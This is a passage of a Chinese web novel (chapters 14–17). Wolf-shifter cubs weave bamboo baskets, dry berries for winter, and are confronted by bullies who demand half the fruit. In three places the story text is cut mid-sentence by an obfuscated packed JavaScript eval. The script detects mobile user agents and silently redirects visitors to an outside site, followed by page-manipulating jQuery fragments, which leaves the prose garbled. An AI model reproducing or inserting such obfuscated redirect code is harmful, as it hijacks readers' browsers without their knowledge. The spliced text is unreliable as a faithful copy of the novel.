火娃听得口水都流下来了。 黑耳也有点忍不住,果断说:“既然好吃,那咱们就做!” 柴棉棉:“啊?” 14. 第 14 章 柴棉棉有点懵,也有点慌张。 她车轱辘似地将刚才的话又说了一遍,试图告诉他们,这件事真不一定能做成。 黑耳毫不在意,语气中有一种狼族天然就有的生命坚韧力:“那怎么了?狩猎也会失败啊。我和火娃芽芽他们老是被壮壮抢东西,打架也输多赢少,难道他下次来抢,我们就不跟他打架了吗?不可能的。” 芽芽坚定附和:“没错,输也要打!” 火娃也点头,信心满满地带着笃定:“总会一天,我们会赢。” 柴棉棉怔住了。 此时此刻她很难形容自己的心情,只是从混沌中隐隐生出些欣赏和期待。 仿佛一个在冰天雪地冻久了的人,哪怕只是稍微靠近这样灿烂的温度,她的手都会不自觉地颤抖起来。 她眼眶微热,结结巴巴地说:“那、那我们就试试?” 黑耳几个高兴点头。 火娃念念不忘刚才的美味,厚着脸皮提议:“棉棉,做箩筐要好几天,你家里的刺莓会烂掉,不如今天全部做成那个…姜撞奶浇刺莓酱吧,我想再吃一点……” 她话音刚落,屋里几个孩子顿时眼睛全亮了。 柴棉棉有些无措,可是黑黑眼巴巴地望过来,灰灰的尾巴更是摇出了残影。 黑耳一脸沉稳地说:“棉棉,我们不能白吃你家的,我阿妈也是采集队成员,到时候收集刺莓的活儿就交给我家了。” 芽芽立刻出声附和:“我家也可以!” 火娃有些苦恼:“可是我阿爸阿妈都是狩猎队的成员。” 黑耳说:“没关系,棉棉说的东西一听就很复杂,到时候肯定有需要你家帮忙的地方。” 火娃高兴地一拍胸膛:“行!到时候需要我家帮什么忙棉棉你只管说,我能帮的一定帮!” 话都说到这份儿上了,柴棉棉哪里还好拒绝? 柴棉棉:“可是柴火不够了……” 黑耳:“我带着火娃芽芽去捡。” 柴棉棉:“还有清水。” 她生怕黑耳脑瓜子一拍直接应承下来,连忙阻止:“你不能去水潭,火娃和芽芽也不能去,你们都太小了,水潭深有危险。” 黑耳想了一下,道:“没关系,我让我哥去,大不了好吃的分他一碗!” 柴棉棉:“你哥?” 黑耳点头:“我哥今年5岁了,天天帮阿爸阿妈做活,平常我们家里的水都是他打的。” 黑耳这里说的5岁是狼的5岁,变成人形态大约是10岁模样,比壮壮还要大一些,这样的大孩子确实不可能天天玩,该帮大人干活了。 黑耳想起一件事,嘱咐大家:“这件事不要说出去,让壮壮知道了,他又要来抢。” 孩子们纷纷点头,然后积极地忙活起来。 收集干柴,收集清水,收集羊奶,清洗野姜,清洗刺莓,做出了两大锅。 最后羊奶不够,只好将刺莓酱一层又一层地厚浇上去,差点儿甜齁住了大家的嗓子,酸倒了大家的牙! 大家吃得酣畅淋漓,最后齐齐倒在阳光底下晾肚皮。 舒服地睡了个午觉,狼崽们陆续爬起来抖抖耳朵,变成人形。 黑耳问:“棉棉,箩筐怎么做?” 柴棉棉:“嗯……我们得先弄一些竹子回来。” 黑耳拿起竹节水杯:“这样的吗?我家有很多。” 火娃:“我家也有很多。” 柴棉棉摇头,边比划边说:“不是这样的,要不老不嫩的,最好是刚长成竹子一两年,要新鲜的,完整的,刚从根部斩下来长长的一根。” 黑耳思索片刻,他们幼崽的活动范围里没有这样的竹子,而且从根部斩断的竹子很长很重,他们几个很难拖动。 他转头看向旁边的圆斑:“哥,帮帮忙呗。” 圆斑刚踏入享受美食的新世界,哪能不愿意?况且棉棉晒的果干他们家也有份,那就更要尽心尽力。 他一拍胸脯:“包在我身上!” 没过多久,他就拖回来一捆竹子,放在柴棉棉面前:“看看,能用吗?” 柴棉棉仔细检查,发现竟然真的完全符合她的要求,她情不自禁赞道:“圆斑,你好厉害!” 圆斑得意洋洋了一瞬,还是选择诚实作答:“其实干活干多了就有经验,竹子是新生的,老的,还是刚长一两年的,闻一闻就知道了。” 大家一起干活,依据棉棉的口述,先将竹子多余的枝叶砍去,再将竹子砍成1米多的竹段,捆起来放入小溪中,浸泡一天一夜。 期间大家还很疑惑:“一米多是多长?” 柴棉棉解释:“就是比我的个子长一点点啦。” 黑黑恍然大悟:“那我也是一米多长。” 黑耳火娃芽芽纷纷附和:“我也是。” 圆斑不一样,圆斑比他们高多了,他纠结片刻:“棉棉,那我是多长。” 柴棉棉上下打量他一番,估算道:“你应该是一米五多一些啦。” 圆斑:“我知道了,我的个子是一米五多长,和我个子差不多的都是一米五多长。” 几个孩子仿佛找了新乐趣,积极地拿自己的个头测量周围的一切。 “这个石头有两个一米多长。”这是跑到外面比划警示石的火娃。 “我家门口比三个一米多长还长一点儿。”这是在洞穴门口上蹿下跳的黑黑。 因为有参照物,几个孩子砍出来的竹段基本长短一致,没有太突兀的。 然后拜托圆斑扛到水潭附近的浅溪中浸泡,用绳子拴好,别让水冲跑了。 第二天一早,几个孩子重聚棉棉家,将浅溪中的竹段捞出来,放在洞穴外面的平地上。 柴棉棉解开绳子,压了压竹子,果然感觉软了许多,柔韧性得到了提升。 她拿来石刀,刀刃抵住竹子的根部,用力往下破。 咔嚓一声轻响,竹段根部的圆端被一分为二,向下裂出一条长缝。 第一步成功了! 柴棉棉忍不住抬头朝周围的伙伴们露出笑脸,心里美滋滋地想,她的劲儿还挺大的。 她继续一手握紧竹子,一手拿稳石刀,用力往下劈,顺畅地劈到竹节处,就劈不动了。 柴棉棉用力,劈不动。 再用力,还是劈不动。 她不敢使用蛮劲儿,怕将竹子弄断了。 黑耳不太明白:“是要这样竖着砍,把中间的节砍断,让竹子的上面一截和下面一截依然连在一起吗?” 柴棉棉点头,给他看竹段底部圆端的纹理:“还要尽量少劈断这种竖着的纹理,最后劈出来的两半要差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179540|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多大。” 黑耳点头:“我明白了,你力气小,我来吧。” 他接替棉棉的位置,找了找手感,谨慎地看了看竹段的纹理,比较左右两半的大小,然后举重若轻般一点点破开了竹子的第一个竹结。 继续往下劈,越劈手感越好,越劈速度越快。 咔咔几下,就将竹段一分为二,捡起地上的两半比较着看,果然粗细相差无几。 黑耳道:“然后呢?” 柴棉棉指了指其中一半竹子:“然后接着劈,将它一分为二。” 二变四,四变八,八变十六。 到了十六,就再也劈不动了。石刀的锋利度有限,而且刀刃很粗,还凹凸不平,若非黑耳力大手稳,根本劈不出十八份,就这样,还搞断了三根,最后能用的只有十五根。 刮掉竹片内部的竹黄和突起的结节,几个孩子一人拿起一根好奇地玩。 芽芽两手捏住竹片随意弯了一个圆,黄色眼眸里满是惊喜:“这东西,跟草绳好像!” 黑耳也意外万分,虽然竹片是他劈出来的,但在他劈之前,他万万没想过竹子还能这样劈。 劈得这么细这么长,既比木头柔软,可以小幅度弯曲,又比草绳坚硬,带着一股支撑力。 他有很强烈的预感,这个竹片,一定会给他带来更加有趣更加神奇的东西。 黑耳迫不及待地问:“棉棉,箩筐要怎么编?” 柴棉棉笑着说:“你别急,这些竹片不够多,还得再劈几根竹子才能编。” 这下所有小孩都积极起来了,连圆斑都跃跃欲试。 “我会劈了,让我劈吧。” “我也会了,我来!” “你们这些幼崽,干活哪有我多?我来劈,一定劈得比你们好。” 谁也不让谁,都要劈,连石刀都不够分了。 最后火娃说她家里刀多,回去拿了好几把石刀回来,大家才相安无事,各自劈各自的竹子,玩得兴致勃勃。 柴棉棉:“……” 没能分到竹子和石刀的柴棉棉两手空空,将无法变人的灰灰搂在怀里摸毛,从对方眼里看见了同病相怜的惺惺相惜。 一段时间后,昨天浸泡过的竹子劈了大半,劈出一大堆竹片。 几个小孩扑到柴棉棉面前,屁股后面仿佛有尾巴在摇:“棉棉,快告诉我们怎么编箩筐!” 柴棉棉努力摒除面前一双双仿佛小狗狗眼的请求,镇定地走到竹片堆旁边,镇定地挑出一些厚薄均匀且一致的竹片,咳嗽两声清清嗓子,开始一边做一边讲解。 “首先,挑出4根竹片,横着整齐地摆在地上。” 她拿起第5根竹片,手指捏住它的前端:“然后将这根竹片从这4根竹片的中间穿过去,像这样,压一根挑一根,压一根挑一根,然后往前拉,拉到它的中间位置。” “这个时候它们还是散架的。”柴棉棉又拿起第6根竹片,动作与之前很相似,“也是穿过去,但要反着来,挑一根压一根,挑一根压一根,然后往前拉,拉到它的中间位置,与前面这根竖着的竹片平齐。” “当把4根竖着的竹片穿完。”她拿起地上的半成品,笑盈盈地跟伙伴们分享,“你们就会发现:哎!它们变成了一个整体。” 小伙伴们齐声惊叹:“哇~真的耶!” 15. 第 15 章 几个小孩子轮流接过半成品看了一遍,肉乎乎的手指抚摸上面的纹理,甚至轻轻抠一抠,研究它们是怎样紧密地叠在一起,竟然形成了一个个大小相同的方块。 “真神奇啊。”孩子们纷纷惊叹。 柴棉棉眉开眼笑地拿回半成品,继续示范和讲解。 “横4根竖4根这样编,编出来的箩筐还是太小了,我们晒果子要一个一个平铺在上面,箩筐要尽可能大。” 她拿起一根竹片横着编进去,又拿起一根竹片竖着编进去:“这样就是横5根竖5根了,数量编得越多,箩筐越大。” 孩子们恍然大悟。 柴棉棉编出一个直径约为80cm,也就是比她双手臂展的长度短一截的圆底,开始立边。 立边很简单。 将所有竹片的末端用蛮力折起来,竖直向上,然后取一根较长的竹片,穿过侧边竖直朝上的竹片,沿着圆的周边编织一圈。 编4根进去,箩筐的矮边就初步成形了。 柴棉棉说:“最后我们收边。” 她拿起一根竹片,还是沿着圆的周边编织,只是在编织的时候会拧动最近的一条竖直朝上的竹片,使其与横向编织的竹片缠绕,并将末端最后一点点塞进临近竖直竹片的缝隙里。 这样一路编一路拧,一路缠绕一路塞,收边就完成了。 柴棉棉认真示范:“如果担心收边不够牢固,还可以多弄几条草绳,像这样从下面的缝隙穿过去,在上面打结系紧,这样基本就不会散架了。” 她绑好最后一条草绳,双手拿起成品展示:“看,一个箩筐就这样做好啦!” 几个孩子齐齐发出惊叹声:“哇~~~!” 他们争先恐后地伸手过来。 “棉棉,让我看看。” “让我先看。” “不,让我先看!” 一双手臂越过众多矮萝卜头,接住了柴棉棉手里的箩筐,抱到自己怀里上下左右翻转地看,圆斑眼睛里带着惊奇:“这就是箩筐啊,看起来挺结实的。” 他问棉棉:“有没有什么果子,装了让我看看?” 家里的刺莓都吃光了,但是芽芽送来的橙子还在,柴棉棉从洞穴里找出装橙子的兽皮袋子,拎着兴冲冲跑出来,将里面的橙子倒在箩筐里面。 包含水分的新鲜橙子挺重,一整袋的橙子倒进去,压得平整的箩筐底部往下凹了凹。 但是兜住了,没散架! 圆斑双手左右晃了晃,晃得橙子在箩筐里四处乱滚:“结实,又特别轻,脏了用水随便洗一洗就干净了,还是竹子做的,山上竹子林一片一片多得数不清。” 他看向旁边长相乖巧的金眸小女孩,发自内心地赞叹道:“棉棉,这么神奇的东西你是怎么想出来的?你也太厉害了吧!” 黑黑骄傲地翘起尾巴:“我家棉棉本来就超厉害!!” 灰灰也骄傲地仰起下巴:“嗷呜嗷呜嗷呜!!!” 柴棉棉脸热热的,挺不好意思:“也没有很厉害啦,哈哈,就是做个箩筐而已啦。” 没想到圆斑一脸认真地说:“不,你就是很厉害。部落里拿竹子当水杯、当碗很多年了,但是谁也没想过竹子还可以竖着劈,可以劈得那么细那么长,像草绳一样编织成装东西的物件。部落里谁都做不到,只有你做得到,那你在这方面就是最厉害的!” 柴棉棉越发不好意思。 箩筐是她上辈子社会最常见的东西,她没有发明创造,只是将过去的知识拿来用一用而已,真的没有很厉害。 黑黑了解她的性情,直接了当地说:“就是很厉害!棉棉你做出了谁都做不出来的美味姜撞奶,还编出了谁都编不出来的箩筐,棉棉就是最厉害的!” “没错!” “棉棉就是最聪明最厉害的!” “棉棉超厉害!” 柴棉棉还想解释什么,却在他们接二连三的肯定声中咧开了嘴,笑得什么都忘了。 有了一个样品,大家齐齐动起手来,中间遇见什么问题,就问一下棉棉,一个下午便做出了六个扁箩筐。 六个扁箩筐摞起来,能晾晒很多刺莓了。 于是商量决定兵分两路,一路由黑耳和芽芽负责,跟他们阿爸阿妈说,抓紧刺莓挂果的最后几天,摘多多的刺莓回来,一路由圆斑负责,尽可能砍多一些竹子,扛到浅溪浸泡,拿来编箩筐。 最后四个家庭的洞穴门口,左右各立着两个竹架子。竹架分六层,每层都稳稳托着一只扁箩筐,筐里的刺莓红得发亮,它们都乖乖巧巧、整整齐齐地排列着,铺成一片红色,鲜亮得晃眼睛,却叫人打心底里觉得舒坦。 按照棉棉的指示,晾晒的第一天,要天不亮就起来,将两个竹架子推出去,让夜晚的凉风徐徐带走刺莓表面的水分,等太阳升起来了,就在充足的阳光下面晒一整天。 上午翻动2次,下午翻动2次,到太阳下山就收进洞穴里。 因为刺莓果干沾上水会腐烂,所以要随时看着天气,一发现有下雨的兆头就要回家去,将竹架子收回来。 几个狼崽第一次给自己做好吃的,个个都非常上心,都不怎么愿意在外面玩了。 居住区附近和广场附近少了几个常见的身影,引起了别的狼崽的注意。 广场西侧灰岩块石堆下面,地缝里的绿植早已不再挂果,可三只狼崽依然习惯性地守在旁边假寐。 “最近怎么没看见黑耳几个?被我们揍怕了?不敢出现在我们面前了?” “哪能啊?他们是在做刺莓果干。” 壮壮睁开眼睛:“什么…什么果干?” 阿蛮冲地缝里叶子已经变黄的绿植努了努嘴:“就是这种红果子的果干。” “听说只要将这种果子收集起来,放在太阳底下晒几天,就能保存很长时间。”阿蛮扼腕,“我怎么没想到呢?早知道我也多摘一些晒起来,那我现在就有果子吃了。” 壮壮:“果子晒一晒就能长时间储存,你听谁说的?” “黑耳他们已经做出来了啊,我偷偷靠近看了的。”阿蛮说起那个场景,脸上满是向往,“刺莓早半个月就已经全部掉地里烂完了,但是他们洞穴门口的刺莓还是红通通的,虽然看起来很小很干瘪,但是空气里那股香甜的味道……我一闻就知道是好吃的!” 壮壮不屑地从鼻子里哼出一口气:“几颗果子就让你馋成这样?没出息。” 阿蛮不服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179541|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老大不也为了抢几颗果子跟黑耳他们打架吗?怎么到了他这里就是没出息? 阿蛮不敢还嘴,委委屈屈低下了头。 石头被阿蛮的描述勾起了肚中的馋虫,咽着口水说:“老大,我们去抢点儿那个什么刺莓果干回来吃吧,反正他们也打不过我们。” 壮壮瞪他一眼:“那是人家家里的东西,你也去抢?” 石头畏惧地低下头,嘴里嘟囔:“随便抓一个崽子威胁恐吓几句,让他把家里的刺莓果干拿出来给我们不就好了?” 阿蛮附和道:“对,我觉得那个叫棉棉的就很合适,又弱,胆子又小,抓住她随便吓一吓,她肯定什么都听我们的。” 壮壮有些意动。 他骂阿蛮馋嘴,但其实他自己也馋。 山里的果子甜味的很少,大多数都是又酸又苦,像刺莓这样到了最成熟的时候几乎纯甜、只有一丝丝酸味的果子更是少之又少。 前段时间刺莓挂果,他和阿蛮石头吃光了能看到的所有红果子,每天一把一把地往嘴里塞,牙都吃得酸软了,几乎咬不动肉。 可现在他还是想吃,特别想吃。 壮壮吩咐道:“你们俩轮流盯着,看那个叫棉棉的什么时候出门?” 两只狼崽顿时兴奋起来,大声保证:“老大,你就放心吧!我俩一定盯得死死的,那个叫棉棉的一出门,我们就把她截下来!” 今天又是一个晴朗天,灿烂的阳光下,箩筐里的刺莓果干暗红得特别漂亮,香甜的气息若有似无地逸散出来。 黑黑一手捂住自己的嘴,一手捏住灰灰的嘴筒子,一本正经地教育她:“不可以偷吃,一旦偷吃就停不下来了,这些刺莓是我们一整个冬天的零嘴,我们得忍住,留着慢慢吃。” 灰灰唔唔叫:“我知道!你先把我放开!” 柴棉棉认真查看刺莓果干的成色,挑选一个,指甲用力掐了掐感受它的软硬度估算含水量,然后放进嘴里,用力咬下一块,艰难地嚼碎品尝,又满意地点了点头。 黑黑灰灰:“OAO!!!” 灰灰唔唔:“为什么棉棉可以吃?” 黑黑:“……你不懂,棉棉她比我们聪明。” 灰灰:“为什么棉棉比我们聪明,她就可以吃?” 黑黑:“……” 黑黑的脑子已经宕机了,他顾不上回答灰灰的话,一双眼睛直勾勾地盯着棉棉手里的刺莓果干,口水快要从指缝间流出来了。 柴棉棉又挑了两个刺莓果干,轻掐感受软硬度估算含水量,心里浮现出一个较为满意的结论。 转身一伸手,将两枚刺莓果干递到哥姐面前,眉眼弯弯:“一人一个,辛苦大半个月,你们也尝尝吧。” 黑黑在兽皮上擦了擦手掌,拿起一枚刺莓果干,咬住用力撕开,咀嚼的时候脸都在用力:“好硬哦。” 灰灰一边嚼一边猛猛点头。 棉棉笑道:“果干的含水量越低,保存的时间越长,所以我故意晒硬了一点,这样咱们才能吃一整个冬天嘛。” 黑黑咬下第二口,继续费力咀嚼:“好吃就行,你说得都对!” 灰灰再次猛猛点头:“棉棉说得都对!” 16. 第 16 章 “刺莓果干晒好了,我们收起来吧。” 为了长时间储存这些果干,柴棉棉花了大心思。 先是拜托圆斑去砍一根年份足够久的老竹回来,按照竹节砍成一截一截的竹筒。 然后用小火慢烤进行彻底的烘干,渗出的水珠用草木灰吸附干净。 最后在竹筒底部铺一层干燥的草木灰,再铺上一层彻底干枯的草叶,刺莓果干放进去装到八成满,再塞干枯草叶。 用与竹筒口径匹配的木塞塞紧,外面再包一层干叶子,黄泥密封,用火烤干,挂在洞穴架子上方阴凉通风处。 阳光照不到,虫子爬不进去,水汽渗进去了也有草木灰吸附,而且是多个竹筒分开存储,想吃了就开一筒,其他的照常挂着,再加上天气越来越凉爽,马上就要进入冬天了,简直是万无一失。 柴棉棉看着竹架子上挂得满满当当的竹筒,心里自豪万分。 “黑耳还有火娃芽芽他们家的刺莓果干应该都晒好了,我过去瞧瞧,提醒他们收起来。” 黑黑说:“我陪你去。” 柴棉棉道:“不用,去黑耳他们几个的家我已经熟了,我自己去就行。” 黑黑摇头拒绝:“不行,你一个人出去我不放心,我陪你去。” 阿爸不在家,临走前他答应过阿爸的,要好好照看灰灰和棉棉。棉棉小小的一只,一个人出去遇到危险了怎么办?他必要跟着的。 灰灰呜呜表示赞同。 柴棉棉拗不过他俩,无奈笑道:“好吧,那咱们就一起去。” 两人变成狼形态,黑灰白三只狼崽齐齐出门,沿着鹅卵石铺成的小径往黑耳家走去。 树丛掩映间,一只匍匐在地上的狼崽身影动了动,转身飞快向后跑去。 “老大!老大!那个叫棉棉的出门了!” 卧在大石块上假寐晒太阳的壮壮骤然睁眼:“走,我们过去!” “不过……”报信的阿蛮犹豫道,“不是她一个人出门的,她旁边还跟了同窝的兄妹,一黑一灰,两个小崽子。” 石头毫不在意:“那有什么关系?三个不满1岁的小崽子,加起来也打不过我们老大一个!是吧,老大?” 壮壮眼神冷冷:“打得过三个不满1岁的小崽子你很骄傲?记着,真正的强者只有不断地跟强者比,才能成为更强的强者。像你这样打得过几个弱小的废物就洋洋得意,迟早会变成和他们一样的废物。” 石头悻悻低头:“知道了,老大。” 壮壮:“不过……既然是三个小崽子,那计划就可以变一变。” 他让两个小弟靠近,低声吩咐起来。 黑灰白三只狼崽平排走在路上,兴高采烈地聊着天。 黑黑呜呜:“棉棉,那些刺莓果干我们可以吃多久啊?” 柴棉棉:“让我算算啊,架子上一共挂了三十五个竹筒,每个竹筒省着点儿吃可以吃两天,那我们就可以足足吃七十天。” “七十天?!”黑黑眼睛亮亮的,充满了幸福,“那得是好多好多天啊~太好了!” 柴棉棉也笑得很开心:“是的,我们可以吃很多很多天呢。” 突然间,三道影子从头顶右侧上方跳下来,拦在黑灰白三只狼崽面前。 他们的体型比黑黑大一圈还多,比柴棉棉足足大两圈,三只狼并排站在一起,凶眼獠牙,强壮得像三座小山,压迫感十足。 柴棉棉身体直接僵住了。 她恐惧地看着面前的三只狼,大脑一片空白,像面临巨大威胁时陷入假死状态的兔子。 黑黑脊背毛全部炸开,他上前一步,挡在灰灰和棉棉面前,冲三只狼低吼:“壮壮,你想干什么?” 壮壮一声令下:“打!” 三只狼猛扑过来,柴棉棉失声尖叫,无人理会她,一只狼冲向黑黑,一只狼冲向灰灰,以迅雷不及掩耳之势掀翻了两只狼崽,将他们牢牢地踩在脚下。 被压在地上的黑黑不甘心地挣扎扭动发出低吼,阿蛮的声音格外残忍冰冷:“安分点儿,否则别怪我下重手。” 柴棉棉回过神来,才发现黑黑灰灰都被抓住了。 她瞬间心急如焚,声音颤抖、嘶吼:“你们要干什么?你们到底要干什么?!” 壮壮变成人形,张嘴刚要说话,却有几个影子从上方山壁跳下来,大声怒吼。 “壮壮,你想干什么?快放开他们!” 黑耳变成人形,眼睛紧紧盯着壮壮:“欺负弱小,这就是你做强者的方式吗?” 壮壮说:“我没有欺负弱小,我抓住黑黑灰灰,只是想让棉棉帮我办点儿事。” 黑耳火娃芽芽三个的到来,让柴棉棉瞬间胆气足了很多。 她强行压下恐惧,走到黑耳旁边,直视壮壮的眼睛,用冷静的声音问:“你想让我做什么?” 那本该是一双弱者的眼睛,眼眶泛红,隐隐带着泪水的湿意,然而她金色眼眸坚定、锐利,仿佛一柄锋利的剑,刺得他心头一震,竟不由自主地错开了视线。 阿蛮见老大不说话,忙道:“听说你家晒了很多刺莓果干,想我们放过黑黑灰灰,就拿你们家的刺莓果干来换。” 壮壮补充道:“我们不要多的,你家的给我们一半就行。” 石头大声嚷嚷:“别想糊弄我们!你家到底有多少果子,我们都见过,心里清楚得很!” 黑耳怒道:“你们要不要脸?想吃果子,自己晒去啊!以前你们抢东西,那都是野外的,你们强,我们认了,现在你们连别人家里的东西都要抢?你们还记不记得我们是一个部落的族人?” 壮壮冷酷地说:“如果不是一个部落的族人,这两个小崽子早就被我们咬死了。” 阿蛮:“弱者本就要向强者上供他的所有,我们给她留一半,已经是非常仁慈了。” 被按在地上的黑黑大声呜呜:“不给他们!凭什么给他们?!” 凭什么给他们? 他和棉棉灰灰一起辛苦了大半个月,劈竹篾、编箩筐、洗刺莓,日看护夜也惦记地晾晒,做得两只手掌肉里扎进了无数竹刺、红通通地疼,好不容易攒下的刺莓果干,要吃一整个冬天的,凭什么给他们?!! 别说一半,就是一颗,他也不愿意给他们!!! “小崽子闭嘴!”阿蛮咬牙切齿,脚下用力,压得黑黑惨叫连连。 柴棉棉:“住手!” 黑耳:“住手! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179542|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 壮壮看向黑耳,目光里带着戏谑:“怎么你又要多做一些没用的吗?约定和我打一架,然后输给我?” 黑耳犹疑了,他转头看向棉棉,目光里带着愧疚:“对不起,我…打不过他。” 黑耳芽芽还有火娃沮丧又歉疚地低下头,黑黑灰灰被踩在地上灰头土脸分外狼狈,而壮壮阿蛮石头三个得意洋洋,一脸志在必得。 柴棉棉捏紧了拳头。 “棉棉,你将来一定要有出息,妈妈下半辈子就指望你了。” “妈妈你放心,我将来一定有出息,挣很多很多的钱,买很大很大的房子,咱们打扮得漂漂亮亮的,气死那些看不起我们的人!” 上辈子的记忆在脑海中回荡,柴棉棉紧紧咬住腮帮子,片刻后,嗓音沙哑地开口:“黑耳,你相信我吗?” 黑耳一愣,选择无条件支持伙伴:“当然相信了。” 柴棉棉又问黑黑灰灰:“你们相信我吗?” 黑黑灰灰毫不犹豫地呜呜:“相信!” “好。”柴棉棉点头,抬眼看向壮壮,“既然你自诩为强者,那我要跟你玩一个强者的游戏。你赢了,我把我家里所有的刺莓果子都给你;你输了,你向黑黑灰灰道歉,并且答应永远不再来抢我家的东西。” 壮壮轻嗤,眼神不屑:“我为什么要跟你玩游戏?” 柴棉棉非常冷静:“如果你不答应,我一颗刺莓果干都不会给你,大不了让你把黑黑灰灰打一顿。我赌你不敢伤害黑黑灰灰,否则我立刻找阿妈告到族长和老祭司那里去,伤害同族幼崽,我看你怎么交代!” 壮壮眼神微凝,终于肯正眼看她,只是目光中带着一丝丝凶悍的杀气。 柴棉棉没有害怕退缩,反而故意嘲讽:“你不是自诩为强者吗?怎么连我这个弱小白毛发出的挑战都不敢接下?” 她倏忽大声,怒吼:“壮壮!你在畏惧我吗?!” 壮壮心底一震,却丝毫不表现在脸上,只是冷冷道:“我永远不会畏惧像你这样弱小的废物。” 他顿了顿,答应道:“好,我就跟你玩一场游戏。” “好!”柴棉棉语速极快地说,“那规则我来定,三天后广场西侧灰岩块石堆见,你可以提出异议,但最后决定权在我。” 阿蛮忍不住开口:“凭什么啊?要是你定一个不公平的规则,岂不是你们赢定了?” “闭嘴。”柴棉棉冷声斥他,“我和你老大说话,你插什么嘴?” 阿蛮顿时气不打一处出来:“不是,老大,你看她……” 壮壮:“他说的也是我想问的。如果你定一个不公平的规则,你赢定了,那游戏还有什么玩的意义?” 柴棉棉:“我不会。” 壮壮:“我凭什么相信你?” 柴棉棉顿了顿,低声说:“因为我不愿意真的惹怒你,你把黑黑灰灰打一顿,我受不了。” 壮壮沉默了。 过了很久,他沉声道:“好,三天后广场西侧灰岩块石堆见,但愿你能给我一份满意的规则。” “老大!”阿蛮很不甘心。 “放开黑黑灰灰,我们走。”壮壮最后看棉棉一眼,头也不回地走了。 17. 第 17 章 壮壮几个的身影远去了,柴棉棉腿脚一软,坐在了地上。 黑黑从地上一跃而去,变成人形冲过来,灰灰也紧随其后,两只狼崽关切地围绕着她。 “棉棉!棉棉!你没事吧?” 柴棉棉抱紧灰灰的身子,脸埋进她的毛毛里,泪水无声淌下。 她的身子微微颤抖着,是汹涌而来的后怕,是遭受欺负后的委屈,是过往无尽的伤痛记忆,是对未来的忐忑不安。 她完全无法控制自己,却也知道此刻嚎啕大哭非常失态,只能抱住灰灰躲在她的毛毛里无声流泪,掩耳盗铃。 灰灰发出温柔安抚的呼噜声,尾巴翘起来,摸摸棉棉的后背,再轻轻拍一拍。 黑耳、火娃、芽芽几个面面相觑,挠头:“棉棉怎么了?” 黑黑一脸镇定地说:“没事,过会儿就好了。” 他无师自通地学会了转移话题:“你们几个怎么在这里?” 黑耳说:“我们几个看自己家的刺莓果干,觉得晒得差不多了,想请棉棉帮忙看一看,是不是要收起来了。” 黑黑:“我们出来也是为了这件事,等会儿先去检查刺莓果干,然后再商量一下三天后的事。” 黑耳点头。 他看一眼还埋脸在灰毛崽身上的乖巧小女童:“那…棉棉她……?” 黑黑:“等会儿吧,等会儿吧。” 四只狼崽蹲在路边,闲得没事瞎聊天。 黑黑:“跟壮壮打架,赢不了吗?” 黑耳:“也不是,我们也赢过,但很少。我们在进步,他们也在进步,他们进步得比我们快,渐渐的,我们就越来越打不过他们了。” 火娃忍不住说:“这几个家伙脑袋里除了变强还是变强,不但打我们,他们还互相打,经常在野外一起抓到老鼠青蛙什么的,就互相打一架,赢的狼人就可以吃最多,你看壮壮都比阿蛮石头粗一圈。” 黑黑深深地叹出一口气,小小年纪就开始犯愁。 另一边柴棉棉哭得差不多了,感觉可以控制了,抬起脸抹掉眼泪,又挺不好意思地摸了摸灰灰身上的毛毛:“灰灰,我把你的毛都弄湿了。” 灰灰呜呜:“没事,待会儿我舔舔就好。” “我给你舔吧。”柴棉棉变成狼形,两只爪爪趴上灰灰的身体,认真地、一下一下地给她舔毛,将她毛上的湿漉漉全部舔干净,又被她温柔地舔后脑勺和脊背。 两只毛茸茸互相舔毛亲昵片刻,柴棉棉变成人形,已然恢复正常。 她走到黑黑黑耳面前,说:“我们走吧,先去收刺莓果干。” 灿烂阳光下,箩筐里的刺莓果干暗红得特别漂亮,香甜的气息若有似无地逸散开来。 柴棉棉认真仔细地检查刺莓果干的成色、估算含水量,转头对黑耳说:“已经晒好了,都收起来吧。” 黑耳非常开心地道了谢。 这是柴棉棉检查的第三家,火娃芽芽因为黑耳的照顾礼让,早已经检查完了。 收完刺莓果干,大家一起坐在黑耳家里聊事情。黑耳留了一竹筒刺莓果干,分给大家边吃边聊。 火娃拿起一颗红果干,咬掉半块,龇牙咧嘴地嚼:“三天后…的游戏,我们…怎么办啊?” 柴棉棉很丧气,根本吃不下东西。 她不由自主地问黑黑灰灰:“我把家里的刺莓全部赌上去,万一输了就真的什么都没有了,你们心里怪不怪我?” 黑黑心疼死了,甚至情愿壮壮几个把他打一顿。 但他强忍着,故作大方:“没事!输光了我们明年秋天再做!” 灰灰也呜呜几声。 